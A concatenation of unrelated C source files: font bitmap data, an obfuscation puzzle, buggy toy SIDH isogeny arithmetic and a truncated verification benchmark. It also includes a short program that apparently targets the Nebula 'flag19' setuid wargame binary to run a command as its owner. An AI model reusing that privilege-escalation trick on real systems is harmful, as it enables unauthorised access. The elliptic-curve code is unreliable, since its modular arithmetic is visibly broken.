0x3800,0x38000038,0x380000,0x0,0x0,
0xf00100,0xf001,0xe0000070,0xe00000,0xe000,0xc00000e0,
0xc00100,0x100c001,0xc00100c0,0x800300,0x3008003,0x80030080,
0x700,0xc6000007,0xee0000,0xec00,0x78,0x0,
/*k*/
0x1f001f,0xe0007,0xe000e,0x1c000e,0x381cfe1c,
0xc038601c,0x3b8039,0x7f003f,0x80730077,0x88638073,0xf0e1d8e1,
0xe0e0,
/*l*/
0x1c0c3c3c,0x381c1c1c,0x30383838,0x60707070,0xe8e0e0e0,
0xe0f0d8,
/*m*/
0x7c70703c,0xd91df8f8,0x181b1f98,0x3e383a3a,0x3c3c383e,
0x30383838,0x70707878,0x70707070,0xf4707070,0xe0ece0e0,0xe0e0f8e0,
0xf0,
/*n*/
0xfc3c381c,0x1c1dcc1c,0x1c3e1c3a,0x18381c3c,0x38703878,
0x3a703870,0x3ce036e0,0x38e0,
/*o*/
0x3c07f801,0xe1c1e0e,0x1e780e38,0x1ef01e70,0x3cf01cf0,
0x70e038e0,0xc071e0f0,0x3f,
/*p*/
0x780cf07,0xf101c0df,0xe0e001e0,0x3e0c003,0x8103e080,
0xe08103e0,0x7c00107,0x307c003,0x70780,0xe000e0e,0xf00f003c,
0x1c00,0x1c00001c,0x1c0000,0x1800,0xfe00003c,0x0,0x0,
/*q*/
0x700f701,0xe0e009f,0xe1c00,0x38001e38,0x1c70001c,
0x387000,0xe00078f0,0xf0e00078,0xf0e100,0xfe0070f3,0x607c0070,
0xe00000,0xe000,0xe00000e0,0xc00000,0x700e001,0xf8,0x0,
/*r*/
0xf07c707c,0x1ff01d,0x3e003a,0x38003c,0x780078,
0x700070,0xe000f0,0xe0,
/*s*/
0x781ee807,0x301c381c,0xe101e,0x80070007,0xc0038003,
0xc0c1c0c1,0x80f3c0e1,0xff,
/*t*/
0x60002,0x3e000e,0x801f807f,0x380038,0x380038,
0x700030,0x700070,0xe000f0,0xf000f0,0xf00000,
/*u*/
0xe7c0e7c,0x1c381e1c,0x3c381c38,0x78303c38,0xf870f870,
0x72e3f871,0x7cfc76e6,0x78f0,
/*v*/
0x1cfc1cfc,0xc1c1c1c,0x181e0c1e,0x301e181e,0x600e300e,
0x800fc00e,0xf800f,0xc,
/*w*/
0xf81c0c38,0x1c1c1c0c,0xc1c1c1c,0x1c083c1c,0x5c1c187c,
0x30cc0c10,0xf608c0d,0xf0fc00e,0xf0e80,0xc000e0e,0xc0c000e,
0x0,
/*x*/
0x1f008707,0x9a03008f,0xd00300,0x300f003,0xc00300e0,
0xe00100,0x700e003,0xe00600e0,0xe60c00,0xf000f6e8,0x78e0007c,
0x0,
/*y*/
0x1e7e1e1e,0x60f0e0e,0xc070407,0x88038c03,0x90019803,
0xe001f001,0xc001e001,0x8000c000,0x38001,0xfc0006,0xf000f8,0xf00000,
/*z*/
0xf03ff81f,0x40206030,0x8001c000,0x20003,0xc0006,
0x20100018,0xe07f6030,0xc0ff,
/*braceleft*/
0xf8017800,0x80038001,0x38003,0x70003,0x60007,
0xe000e,0xf8000c,0x3800f0,0x180018,0x380038,0x300038,
0x700070,0x600070,0x7e0060,0x3e,
/*bar*/
0xc000c000,0x8001c000,0x80018001,0x30003,0x30003,
0x60006,0xc0006,0xc000c,0x180018,0x300018,0x300030,
0x600020,0x600060,0xc000c0,0xc0,
/*braceright*/
0x7000e003,0x70003000,0x70007000,0xe0006000,0xe000e000,
0xc000e000,0x7000c000,0xe0007000,0x80038001,0x38003,0x70007,
0x70007,0xe000e,0xfc000e,0xf8,
/*asciitilde*/
0x7fc0801f,0xff71c0f3,0x7fe080,0xc0,0x0,
/*exclamdown*/
0x80078003,0x38007,0x0,0x40004,0xc000c,
0x18001c,0x380018,0x780038,0xf00070,0xf000f0,0xe000e0,
0xc0,
/*cent*/
0x60006000,0x60006000,0xb806f003,0xb839b80d,0x730039,
0xf200f3,0xe400e6,0x20ec00ec,0x80f960f8,0x3c007f,0x300030,
0x300030,0x300000,
/*sterling*/
0x1f00,0x7300803b,0x80e30080,0x100e000,0xc00100c0,
0xc00300,0x300c003,0xf83f00c0,0xf83f00,0x300f83f,0x80070080,
0x700,0x7000007,0x260000,0xfe00,0x8f008ccf,0xf8f100fc,
0x0,
/*fraction*/
0x300,0x6000003,0xc0000,0xc00,0x30000018,
0x300000,0x6000,0xc00000c0,0x800100,0x3000003,0x60000,
0xc00,0x1800000c,0x300000,0x3000,0xc0000060,0xc00000,
0x0,
/*yen*/
0x1cf083ff,0x11cc000,0x80031e80,0xe00031e,0xe0f0006,
0x1c0f00,0x7001807,0xf00700b0,0xe03f00,0x700fc3f,0x803f00fc,
0xfc3f00,0xf00800f,0xf0000,0x1e00,0x1e00001e,0xc0ff0000,
0x0,
/*florin*/
0x37001e00,0xe7007700,0xe000e000,0xe001e001,0xfc1fc001,
0xc003c001,0xc003c003,0xc003c003,0x80038003,0x80038003,0x80078003,
0x70007,0xe60007,0xec00e6,0x78,
/*section*/
0x3007e003,0x380c380c,0xe380e,0x7000e,0x801f8007,
0xe061c037,0x7070f060,0x30707070,0x703c3078,0x800fe01f,0x80078007,
0x80e18003,0x80e180e1,0x7e00e3,0x7e0000,
/*currency*/
0x70000220,0xffff0007,0xff7f80,0x3e00fe3f,0x1e3c003e,
0xe3c00,0x38000e38,0x1e3c000e,0x3e3e00,0x7f00fe3f,0xffff00ff,
0x77080,0x220,0x0,
/*quotesingle*/
0x780038,0x700078,0xe000f0,0xc000c0,0xc00000,
/*quotedblleft*/
0x20003018,0xc0600040,0x80c100,0xf100e0f1,0xe0f100e0,
0xe0f100,0x0,
/*guillemotleft*/
0x30061002,0xc018600c,0x8073c039,0xe700e7,0x80310063,
0xc0188031,0x4008,
/*guilsinglleft*/
0x60002,0x18000c,0x700038,0xe000e0,0x300060,
0x180038,0x8,
/*guilsinglright*/
0x300020,0x180018,0xe000c,0xe000e,0x38001c,
0xc00070,0x80,
/*fi*/
0xc00300,0xe00e00,0xe00c00,0xe01c00,0x1800,
0x3800,0x3800,0x307000,0xf0ff03,0xf0ff03,0x70e000,
0xf0e000,0xe0e000,0xe0e000,0xe0e100,0xc0c101,0xc0c101,
0xc0c101,0xc0c301,0x90c301,0xb08303,0xe08303,0xc08303,
0x8003,0x3,0x7,0xe7,0xee,0xec,
0x78,0x0,
/*fl*/
0xf80300,0x780e00,0x781800,0x383800,0x703000,
0x707000,0x707000,0xe0e003,0xe0ff03,0xe0e000,0xc0e100,
0xc0e100,0xc0e100,0xc0c100,0x80c101,0x80c301,0x80c301,
0x80c301,0x808303,0x8303,0x8303,0x808303,0x800307,
0x7,0x7,0x6,0xce,0xec,0xd8,
0xf0,0x0,
/*endash*/
0xff80ffff,0x80ff,0x8000,
/*dagger*/
0x80038003,0x38003,0x30003,0xf8fff8f6,0x4f8f4,
0xc000c,0x1e000c,0x1c001c,0x180018,0x100018,0x300030,
0x200030,0x600060,0x400060,0x400000,
/*daggerdbl*/
0x70007000,0x70007000,0x60006000,0xff1fcf1e,0xc000df1f,
0x80018000,0x80038001,0x8001c001,0x38001,0x78f20003,0x78fbf8ff,
0x60006,0xe0006,0xe000e,0xe0000,
/*periodcentered*/
0xf0f0f0f0,0xf0f0f000,
/*paragraph*/
0x1f00f807,0x603f0030,0x603f00,0xfe00607e,0xc0fe0060,
0xc0fe00,0xfc00c0fc,0x80fd00c0,0x80fd00,0x790080f9,0x3b0000,
0x1300,0x36000033,0x360000,0x6600,0x6c000066,0x6c0000,
0xcc00,0xd80000c8,0x980000,0xd800,0x0,
/*bullet*/
0x7f003e,0x80ff80ff,0x80ff80ff,0x3e007f,0x3e0000,
/*quotesinglbase*/
0x38787878,0xc06030,
/*quotedblbase*/
0x70387038,0x70387038,0x60303010,0x80c1c060,0x80c10000,
/*quotedblright*/
0x70387038,0x70387038,0x60303018,0x80c14020,0x80c10000,
/*guillemotright*/
0x80310021,0xc018c018,0x700e600c,0x700e700e,0xc039e01c,
0xc68073,0x84,
/*ellipsis*/
0xc0031ef0,0xc0031ef0,0xc0031ef0,0x0,
/*perthousand*/
0xe0800f,0xc0c11d00,0xe7380000,0x780000c0,0x807f,
0x4370,0x47f000,0xc6f00000,0xe0000000,0xce,0x8ce0,
0x18e100,0x38770000,0x3e000000,0x1ff031,0x39986300,0x18e70080,
0xcf008071,0x180f008,0x80e0088e,0xe0099e03,0x191e0380,0x1c0780e1,
0x680c119,0xc3311c,0xc3311c0c,0x600e1c00,0x71800e6,0x30007cc0,
0x0,0x70,0x0,0x0,
/*questiondown*/
0xe001e000,0xe000e001,0x0,0x80018000,0x38001,
0x60003,0x38001c,0xf00078,0x80e300e0,0x80c380c3,0x6380e1,
0x3e,
/*grave*/
0xe000e0,0x3800f0,0xc001c,0xc0000,
/*acute*/
0xf0007,0x3c001f,0xe00078,0xe00000,
/*circumflex*/
0x1f000e,0x73003f,0x80c180e1,0x80c10000,
/*tilde*/
0x80798001,0xdf807f,0x80,
/*macron*/
0x80ff80ff,0x80ff0000,
/*breve*/
0x80c180c0,0xfe00e7,0x7c,
/*dotaccent*/
0xf0f0f0f0,0xf0f0f000,
/*dieresis*/
0xc0f3c071,0x8071c0f3,0x80710000,
/*ring*/
0xcc0078,0x8400cc,0xcc00cc,0x78,
/*cedilla*/
0x1c0008,0x7001f,0xe70003,0xfe,
/*hungarumlaut*/
0xc039c039,0x8073c07b,0xe78073,0xe7,
/*ogonek*/
0x600020,0xc000c0,0xfe00e2,0x7c,
/*caron*/
0xc061e0c0,0x378073,0x1c003e,0x1c0000,
/*emdash*/
0xffffffff,0xffffffc0,0xc0ff,0x0,
/*AE*/
0xffff0300,0xfc000000,0x100000f,0x3f8,0x2f803,
0x2780300,0x78060000,0xe000000,0xf0,0x20f01c,0x60f01800,
0xe0300000,0x710000e0,0xc0ff,0xc0e3e1,0xc0e0c100,0xe0ff0100,
0x810300c0,0x70080c0,0xc003,0xcc00306,0xc0030c00,0x3180008,
0x380018c0,0x388007,0xf0870770,0xff3ffe00,0xf0,0x0,
/*ordfeminine*/
0x8019800f,0x80618031,0xe30063,0x80cf00c7,0xf780df,
0x0,0xff,
/*Lslash*/
0x100fc07,0xc00100e0,0xc00300,0x300c003,0xf80300d8,
0xf00700,0xf00c007,0x801f0080,0x3f00,0xf00002f,0xf0000,
0x1e00,0x1e20001e,0x1e6000,0xc0003c60,0xffc0033e,0xc0ff,0xc000,
/*Oslash*/
0x380000,0x3f003000,0xe07100e0,0x3f0e001,0x8107f8c1,
0xbc030ff8,0x1e3c071e,0xc3c3c06,0x7c1c7c3c,0x787c187c,0x70f87c30,
0x7860f87c,0xf1f8c0f8,0x81f1f8c0,0xe001f3f0,0x7ec003ff,0xf7c8003,
0x7e3c00,0x3000f81f,0x700000,0x6000,0xc0,0x0,
/*OE*/
0xfeff7f00,0xfefff101,0xef8c003,0x6780007,0x470000f,
0x4f0001e,0xf0003c,0xc0f0003c,0xc0f0007c,0xc0e10178,0x80ff0178,
0x80e701f8,0x80c103f8,0xc103f0,0xc303f0,0x8007f0,0x308007f0,
0x308007f0,0x60800f78,0xe0010f3c,0xe08f3f1e,0xc0ffff0f,0x0,
/*ordmasculine*/
0xc019800f,0xc070c030,0xc0e1c0e1,0xc380c1,0x7c00e6,
0x0,0x80ff,
/*ae*/
0x3f0ff01,0x1e0e383f,0x381c1c38,0x38703c3c,0x3b78e03c,
0x7f70c0,0xf00078f0,0xf0e100f0,0x4070e160,0xfe8078f6,0x1e78803f,
0x0,
/*dotlessi*/
0x381c7c7c,0x30383838,0xf4707070,0xf0f8ec,
/*lslash*/
0x7071f0f,0xf0e0e0e,0xfc3c1f1f,0x3838b8f8,0x74707070,
0x70786c,
/*oslash*/
0x18000c00,0xf0001800,0x7c07fc03,0xce1c6e0e,0x8e79ce38,
0x1ef39e71,0x3cf61cf3,0x70ec38e6,0xc079e0ec,0x30003f,0x600020,
0x60,
/*oe*/
0x7f0f003,0x1f0cb83b,0x181e1818,0x70381c38,0x3f70703c,
0x3ff0c0,0xe00078f0,0x70e00078,0x30f0e000,0x7160f8f0,0x3f3f80bf,
0x0,
/*germandbls*/
0xf00100,0xb80700,0x1c0e00,0x1c0e00,0x1c1c00,
0x1c1c00,0x3c3800,0x383800,0x383800,0xe03000,0xc07300,
0xf07100,0x707000,0x387000,0x38e000,0x38e000,0x78e000,
0x78e000,0x70c001,0x70d801,0xe0dc01,0xc0dd01,0x809f03,
0x8003,0x8003,0x3,0x7,0xe6,0xec,
0xf8,0x0,
};
|
the_stack_data/237642410.c | /* Generated by CIL v. 1.7.0 */
/* print_CIL_Input is false */
struct _IO_FILE;
struct timeval;
extern float strtof(char const *str , char const *endptr ) ;
extern void signal(int sig , void *func ) ;
typedef struct _IO_FILE FILE;
extern int atoi(char const *s ) ;
extern double strtod(char const *str , char const *endptr ) ;
extern int fclose(void *stream ) ;
extern void *fopen(char const *filename , char const *mode ) ;
extern void abort() ;
extern void exit(int status ) ;
extern int raise(int sig ) ;
extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ;
extern int strcmp(char const *a , char const *b ) ;
extern int rand() ;
extern unsigned long strtoul(char const *str , char const *endptr , int base ) ;
void RandomFunc(unsigned int input[1] , unsigned int output[1] ) ;
extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ;
extern int gettimeofday(struct timeval *tv , void *tz , ...) ;
extern int printf(char const *format , ...) ;
int main(int argc , char *argv[] ) ;
void megaInit(void) ;
extern unsigned long strlen(char const *s ) ;
extern long strtol(char const *str , char const *endptr , int base ) ;
extern unsigned long strnlen(char const *s , unsigned long maxlen ) ;
extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ;
struct timeval {
long tv_sec ;
long tv_usec ;
};
extern void *malloc(unsigned long size ) ;
extern int scanf(char const *format , ...) ;
int main(int argc , char *argv[] )
{
unsigned int input[1] ;
unsigned int output[1] ;
int randomFuns_i5 ;
unsigned int randomFuns_value6 ;
int randomFuns_main_i7 ;
{
megaInit();
if (argc != 2) {
printf("Call this program with %i arguments\n", 1);
exit(-1);
} else {
}
randomFuns_i5 = 0;
while (randomFuns_i5 < 1) {
randomFuns_value6 = (unsigned int )strtoul(argv[randomFuns_i5 + 1], 0, 10);
input[randomFuns_i5] = randomFuns_value6;
randomFuns_i5 ++;
}
RandomFunc(input, output);
if (output[0] == 780878230U) {
printf("You win!\n");
} else {
}
randomFuns_main_i7 = 0;
while (randomFuns_main_i7 < 1) {
printf("%u\n", output[randomFuns_main_i7]);
randomFuns_main_i7 ++;
}
}
}
void megaInit(void)
{
{
}
}
void RandomFunc(unsigned int input[1] , unsigned int output[1] )
{
unsigned int state[1] ;
unsigned int local1 ;
char copy11 ;
{
state[0UL] = (input[0UL] + 51238316UL) + 274866410U;
local1 = 0UL;
while (local1 < input[1UL]) {
if (state[0UL] < local1) {
copy11 = *((char *)(& state[local1]) + 1);
*((char *)(& state[local1]) + 1) = *((char *)(& state[local1]) + 0);
*((char *)(& state[local1]) + 0) = copy11;
copy11 = *((char *)(& state[local1]) + 3);
*((char *)(& state[local1]) + 3) = *((char *)(& state[local1]) + 1);
*((char *)(& state[local1]) + 1) = copy11;
}
local1 += 2UL;
}
output[0UL] = state[0UL] + 454761159UL;
}
}
|
the_stack_data/1017407.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <omp.h>
typedef struct {
long long int re;
long long int im;
} com;
typedef struct {
com x;
com y;
} PO;
typedef struct
{
unsigned int p;
unsigned int e2;
unsigned int e3;
unsigned int xQ20;
unsigned int xQ21;
unsigned int yQ20;
unsigned int yQ21;
unsigned int xP20;
unsigned int xP21;
unsigned int yP20;
unsigned int yP21;
unsigned int xR20;
unsigned int xR21;
unsigned int xQ30;
unsigned int xQ31;
unsigned int yQ30;
unsigned int yQ31;
unsigned int xP30;
unsigned int xP31;
unsigned int yP30;
unsigned int yP31;
unsigned int xR30;
unsigned int xR31;
unsigned int n;
} SIDH;
typedef struct
{
int n;
int p;
int q;
char s[];
} tor;
typedef struct {
unsigned int p;
unsigned int e2;
unsigned int e3;
PO P2;
PO P3;
PO Q2;
PO Q3;
PO R2;
PO R3;
unsigned int n;
} CM;
unsigned int p=431;
unsigned int pp=185761;
// SIDH sp434;
// invert of integer
long long int inv(long long int a,long long int n){
long long int d,x,s,q,r,t;
d = n;
x = 0;
s = 1;
while (a != 0){
q = d / a;
r = d % a;
d = a;
a = r;
t = x - q * s;
x = s;
s = t;
}
// gcd = d; // $\gcd(a, n)$
return ((x + n) % (n / d));
}
//SIDH
com cadd(com a,com b){
com c;
c.re=(a.re+b.re);
if(c.re>p)
c.re=c.re%p;
if(c.re<0)
c.re+=p;
c.im=(a.im+b.im);
if(c.im>p)
c.im=c.im%p;
if(c.im<0)
c.im=c.im+p;
return c;
}
com inv_add(com a){// -a
com c;
c.re= -1;
c.im= -1;
c.re=c.re*a.re%p;
if(c.re>p)
c.re%=p;
c.im=c.im*a.im%p;
if(c.im>p)
c.im%=p;
return c;
}
com csub(com a,com b){
com c,m;
c.re=(a.re-b.re);
if(c.re<0)
c.re+=p;
c.im=(a.im-b.im);
if(c.im<0)
c.im+=p;
return c;
}
com cmul(com a,com b){
com c;
long long int d,e;
c.re=a.re*b.re-(a.im*b.im);
d=(a.re*b.im);//%p;
e=(b.re*a.im);//%p;
// c.re=c.re+c.im;//%p;
c.im=d+e;//%p;
return c;
}
com cinv(com a){
com c,a1,a2,b1,b2,h,w;
unsigned int i,j,d,e,f,g,A,pp,l,n;
for(l=0;l<p;l++){
//#pragma omp parallel for
for(n=0;n<p;n++){
//a=162+172i
//a2.re=162;
//a2.im=172;
a2.re=l; //259
a2.im=n; //340
b1=cmul(a2,a);
if(b1.re%p==1 && b1.im%p==0){
printf("%d %d %d %d\n",a1.re,a1.im,b1.re%p,b1.im%p);
printf("%d %d\n",l,n);
// exit(1);
return a2;
}
}
}
return a2;
}
com cdiv(com a,com b){
com c,d,v,f,h;
long long g;
d.re=b.re*b.re+b.im*b.im;
d.im=0;
v.re=((a.re%p)*(b.re%p)+((a.im%p)*(b.im%p))%p)%p;
v.im=((a.im%p)*(b.re%p))-(a.re%p)*(b.im%p);
printf("re=%lld %lld\n",a.re,b.re);
printf("imm=%lldi %lldi\n",a.im,b.im);
//exit(1);
printf("d=%lld\n",d.re);
d.re=inv(d.re,p);
v.re=((p+v.re)*d.re)%p;
v.im=((v.im%p)*d.re)%p;
if(v.re>p)
v.re=v.re%p;
if(v.im<0)
v.im+=p;
printf("v=%lld %lldi\n",v.re,v.im);
// exit(1);
//c.re=d.re;
//c.im=v.im*inv(d.re,p);
return v;
}
com cnst(unsigned int A,com a){
unsigned int t,s;
com r;
t=A*a.re;
s=A*a.im;
r.re=t;
r.im=s;
return r;
}
PO eadd(PO P,PO Q){
PO R={0};
unsigned int r,s,t,u,v,w;
com c,d,e,f,g,l,A;
A.re=6;
A.im=0;
c=csub(P.y,Q.y);
d=csub(P.x,Q.x);
e=cinv(d);
l=cmul(c,e);
d=cmul(l,l);
e=cadd(P.x,Q.x);
R.x=csub(csub(d,e),A);
R.y=csub(cmul(l,csub(P.x,R.x)),P.y);
return R;
}
PO eadd2(PO P){
com a,b,c;
PO R;
return R;
}
//E = EllipticCurve(GF(131), [0, 0, 0, 1, 23])
//E.j_invariant()
com j_inv(com a){
com r,f,h,b1,b2,h1,o,g,q;
// unsigned int w;
o.re= 3;
o.im= 0;
q.re= 256;
q.im= 0;
f.re=4;
f.im=0;
r=cmul(a,a);
//printf("%d %d\n",r.re,r.im);
//a^2-4
h=csub(r,f);
printf("a^2-4: %lld %lld\n",h.re,h.im);
b1=cadd(r,f);
printf("%lld %lld\n",b1.re,b1.im);
b2=cmul(r,r);
h1=cmul(f,f);
h1=cadd(h1,b2);
printf("%lld %lld\n",h1.re,h1.im);
//p=131 のとき y^2 = x^3 + x + 23 の j-不変量は 78 となります。
//g=a^2-3
g=csub(r,o);
printf("a^2-3: %d %d\n",g.re,g.im);
printf("a^2-4: %lld %lld\n",h.re,h.im);
//g=256*(a^2-3)^3
//(a^2 - 3)^2 = -4184900860 - 2323531392 I
//(a^2 - 3)^3 = 228212128828152 - 239983944473728 I
g=cmul(cmul(cmul(g,g),g),q);
g.re=g.re%p;
g.im=g.im%p;
printf("g=256*(a^2-3)^3: %lld %lld\n",g.re,g.im);
g=cdiv(g,h);
if(g.re>p)
g.re%=p;
if(g.re<0)
g.re+=p;
if(g.im>p)
g.im%=p;
if(g.im<0)
g.im+=p;
printf("ans=%lld,%lld\n",g.re%p,g.im%p);
return g;
}
/*
//jj=aa^bb mod oo
BigInt exp(BigInt aa,BigInt bb,BigInt oo){
BigInt ii,jj,kk[8192];
int j,c[8192],count=0,i;
ii=oo;
j=0;
jj=0;
// kk[4096]; //prime is 4096 bit table
// c[8192] //mod is 8192 bit table
count=0;
for(i=0;i<8192;i++){
kk[i]=0;
}
while(ii>0){
ii = (ii>>1);
j=j+1;
}
kk[0]=aa;
// std::cout << j << "\n";
//ex.1000=2**3+2**5+2**6+2**7+2**8+2**9 makes a array c=[3,5,6,7,8,9]
for(i=0;i<j+1;i++){
if((bb >> i)%2 != 0){ // testbit(bb,i)
c[count]=i;
count=count+1;
}
}
// std::cout << bb << endl;
// std::cout << count << "\n";
//exit(1);
for(i=1;i<c[count-1]+1;i++){
kk[i] = kk[i-1]*kk[i-1]%oo;
}
jj=1;
for(i=0;i<count;i++){
jj=kk[c[i]]*jj%oo;
if (jj==0){
// print i,"\n"
}
}
return jj;
}
*/
com cc(com a,com b){
com c;
c.re= a.re*b.re+a.im*b.im;
c.im=0;
return c;
}
int
main ()
{
char buf[65536];
CM sp434;
com a1,a2,b1,b2,j,r,o,q,g,f,v,w,h,r2,g2,h2,h1,c;
int s=31,t=304,l,k,n,i,count=0,a,b,jj,aa,bb,jj2;
s=inv(s,p); //a1
v.re=s;
v.im=0;
t=inv(t,p); //a2
w.re=s;
w.im=0;
printf("s=%d,t=%d\n",s,t);
o.re= 3;
o.im= 0;
q.re= 256;
q.im= 0;
f.re=4;
f.im=0;
//h.re=p;
//h.im=0;
//q=cdiv(r,o);
//printf("%d %d\n",q.re,q.im);
//exit(1);
//a=161+208i
a1.re=161;
a1.im=208;
j_inv(a1);
printf("a1======================================\n");
//exit(1);
a2.re=162;
//162;
a2.im=172;
a2=j_inv(a2);
printf("j-invariant is %d+%di\n",a2.re,a2.im);
return 0;
}
|
the_stack_data/61075712.c | #include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
int main() {
int a = fork();
char * const argv[] = {"/home/flag19/flag19", "-c", "/usr/bin/id", NULL};
char * const envp[] = {NULL};
//This is the child
if (a == 0){
int newfd = open("/tmp/a1", 'w');
printf("Newfd is %d\n", newfd);
//dup2(newfd, 1);
sleep(1);
printf("Child PID is %d\n",getpid());
printf("Parent process ID before running flag19 is %d\n", getppid());
int x = execve("/home/flag19/flag19", argv, envp);
if (x == -1){
printf("Execve failed\n");
}
}
//This is the parent
else{
printf("Parent PID is %d\n",getpid());
return 0;
}
}
|
the_stack_data/88754.c | extern float __VERIFIER_nondet_float(void);
extern int __VERIFIER_nondet_int(void);
typedef enum {false, true} bool;
bool __VERIFIER_nondet_bool(void) {
return __VERIFIER_nondet_int() != 0;
}
int main()
{
bool t0_evt0, _x_t0_evt0;
bool _EL_X_1255, _x__EL_X_1255;
float _diverge_delta, _x__diverge_delta;
float delta, _x_delta;
bool _EL_U_1289, _x__EL_U_1289;
bool gate_l1, _x_gate_l1;
bool gate_l0, _x_gate_l0;
bool _EL_U_1292, _x__EL_U_1292;
float gate_y, _x_gate_y;
float t5_x, _x_t5_x;
bool t5_l1, _x_t5_l1;
bool t5_l0, _x_t5_l0;
float t1_x, _x_t1_x;
bool t1_l1, _x_t1_l1;
bool gate_evt1, _x_gate_evt1;
bool gate_evt0, _x_gate_evt0;
bool t5_evt1, _x_t5_evt1;
bool t5_evt0, _x_t5_evt0;
bool t1_l0, _x_t1_l0;
bool t1_evt1, _x_t1_evt1;
bool t1_evt0, _x_t1_evt0;
float t6_x, _x_t6_x;
bool controller_l1, _x_controller_l1;
bool t6_l1, _x_t6_l1;
bool controller_l0, _x_controller_l0;
bool t6_l0, _x_t6_l0;
float t2_x, _x_t2_x;
bool t2_l1, _x_t2_l1;
float controller_z, _x_controller_z;
bool t6_evt1, _x_t6_evt1;
bool t6_evt0, _x_t6_evt0;
bool t2_l0, _x_t2_l0;
int controller_cnt, _x_controller_cnt;
bool t2_evt1, _x_t2_evt1;
bool t2_evt0, _x_t2_evt0;
float t7_x, _x_t7_x;
bool t7_l1, _x_t7_l1;
bool t7_l0, _x_t7_l0;
float t3_x, _x_t3_x;
bool controller_evt1, _x_controller_evt1;
bool t3_l1, _x_t3_l1;
bool t7_evt1, _x_t7_evt1;
bool t7_evt0, _x_t7_evt0;
bool controller_evt0, _x_controller_evt0;
bool controller_evt2, _x_controller_evt2;
bool t3_l0, _x_t3_l0;
bool t3_evt1, _x_t3_evt1;
bool t3_evt0, _x_t3_evt0;
bool t4_l0, _x_t4_l0;
bool t4_evt1, _x_t4_evt1;
bool _J1351, _x__J1351;
bool _J1345, _x__J1345;
float t4_x, _x_t4_x;
bool _J1339, _x__J1339;
bool t4_l1, _x_t4_l1;
float t0_x, _x_t0_x;
bool _J1322, _x__J1322;
bool _EL_U_1285, _x__EL_U_1285;
bool t0_l1, _x_t0_l1;
bool t4_evt0, _x_t4_evt0;
bool t0_l0, _x_t0_l0;
bool _EL_U_1287, _x__EL_U_1287;
bool _EL_X_1253, _x__EL_X_1253;
bool t0_evt1, _x_t0_evt1;
int __steps_to_fair = __VERIFIER_nondet_int();
t0_evt0 = __VERIFIER_nondet_bool();
_EL_X_1255 = __VERIFIER_nondet_bool();
_diverge_delta = __VERIFIER_nondet_float();
delta = __VERIFIER_nondet_float();
_EL_U_1289 = __VERIFIER_nondet_bool();
gate_l1 = __VERIFIER_nondet_bool();
gate_l0 = __VERIFIER_nondet_bool();
_EL_U_1292 = __VERIFIER_nondet_bool();
gate_y = __VERIFIER_nondet_float();
t5_x = __VERIFIER_nondet_float();
t5_l1 = __VERIFIER_nondet_bool();
t5_l0 = __VERIFIER_nondet_bool();
t1_x = __VERIFIER_nondet_float();
t1_l1 = __VERIFIER_nondet_bool();
gate_evt1 = __VERIFIER_nondet_bool();
gate_evt0 = __VERIFIER_nondet_bool();
t5_evt1 = __VERIFIER_nondet_bool();
t5_evt0 = __VERIFIER_nondet_bool();
t1_l0 = __VERIFIER_nondet_bool();
t1_evt1 = __VERIFIER_nondet_bool();
t1_evt0 = __VERIFIER_nondet_bool();
t6_x = __VERIFIER_nondet_float();
controller_l1 = __VERIFIER_nondet_bool();
t6_l1 = __VERIFIER_nondet_bool();
controller_l0 = __VERIFIER_nondet_bool();
t6_l0 = __VERIFIER_nondet_bool();
t2_x = __VERIFIER_nondet_float();
t2_l1 = __VERIFIER_nondet_bool();
controller_z = __VERIFIER_nondet_float();
t6_evt1 = __VERIFIER_nondet_bool();
t6_evt0 = __VERIFIER_nondet_bool();
t2_l0 = __VERIFIER_nondet_bool();
controller_cnt = __VERIFIER_nondet_int();
t2_evt1 = __VERIFIER_nondet_bool();
t2_evt0 = __VERIFIER_nondet_bool();
t7_x = __VERIFIER_nondet_float();
t7_l1 = __VERIFIER_nondet_bool();
t7_l0 = __VERIFIER_nondet_bool();
t3_x = __VERIFIER_nondet_float();
controller_evt1 = __VERIFIER_nondet_bool();
t3_l1 = __VERIFIER_nondet_bool();
t7_evt1 = __VERIFIER_nondet_bool();
t7_evt0 = __VERIFIER_nondet_bool();
controller_evt0 = __VERIFIER_nondet_bool();
controller_evt2 = __VERIFIER_nondet_bool();
t3_l0 = __VERIFIER_nondet_bool();
t3_evt1 = __VERIFIER_nondet_bool();
t3_evt0 = __VERIFIER_nondet_bool();
t4_l0 = __VERIFIER_nondet_bool();
t4_evt1 = __VERIFIER_nondet_bool();
_J1351 = __VERIFIER_nondet_bool();
_J1345 = __VERIFIER_nondet_bool();
t4_x = __VERIFIER_nondet_float();
_J1339 = __VERIFIER_nondet_bool();
t4_l1 = __VERIFIER_nondet_bool();
t0_x = __VERIFIER_nondet_float();
_J1322 = __VERIFIER_nondet_bool();
_EL_U_1285 = __VERIFIER_nondet_bool();
t0_l1 = __VERIFIER_nondet_bool();
t4_evt0 = __VERIFIER_nondet_bool();
t0_l0 = __VERIFIER_nondet_bool();
_EL_U_1287 = __VERIFIER_nondet_bool();
_EL_X_1253 = __VERIFIER_nondet_bool();
t0_evt1 = __VERIFIER_nondet_bool();
bool __ok = ((((((((( !t7_l0) && ( !t7_l1)) && (t7_x == 0.0)) && (((( !t7_l0) && ( !t7_l1)) || (t7_l0 && ( !t7_l1))) || ((t7_l1 && ( !t7_l0)) || (t7_l0 && t7_l1)))) && (((( !t7_evt0) && ( !t7_evt1)) || (t7_evt0 && ( !t7_evt1))) || ((t7_evt1 && ( !t7_evt0)) || (t7_evt0 && t7_evt1)))) && ((( !t7_l0) && ( !t7_l1)) || (t7_x <= 5.0))) && ((((((( !t6_l0) && ( !t6_l1)) && (t6_x == 0.0)) && (((( !t6_l0) && ( !t6_l1)) || (t6_l0 && ( !t6_l1))) || ((t6_l1 && ( !t6_l0)) || (t6_l0 && t6_l1)))) && (((( !t6_evt0) && ( !t6_evt1)) || (t6_evt0 && ( !t6_evt1))) || ((t6_evt1 && ( !t6_evt0)) || (t6_evt0 && t6_evt1)))) && ((( !t6_l0) && ( !t6_l1)) || (t6_x <= 5.0))) && ((((((( !t5_l0) && ( !t5_l1)) && (t5_x == 0.0)) && (((( !t5_l0) && ( !t5_l1)) || (t5_l0 && ( !t5_l1))) || ((t5_l1 && ( !t5_l0)) || (t5_l0 && t5_l1)))) && 